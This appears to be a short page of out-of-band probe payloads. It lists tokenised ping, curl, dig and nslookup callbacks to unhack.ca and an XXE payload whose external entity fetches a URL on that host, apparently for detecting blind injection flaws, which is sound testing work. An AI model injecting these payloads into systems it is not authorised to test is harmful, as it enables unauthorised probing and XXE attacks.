$ ping -c1 -p 0061b1be4a851df0faeb548cd26cd500 unhack.ca
 

$ curl http://unhack.ca/p/61b1be4a851df0faeb548cd26cd5
 

$ dig 61b1be4a851df0faeb548cd26cd5 @unhack.ca
 

$ dig 61b1be4a851df0faeb548cd26cd5.ns.unhack.ca
 

C:\> nslookup 61b1be4a851df0faeb548cd26cd5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/61b1be4a851df0faeb548cd26cd5">]>
    <foo>&xxe;</foo>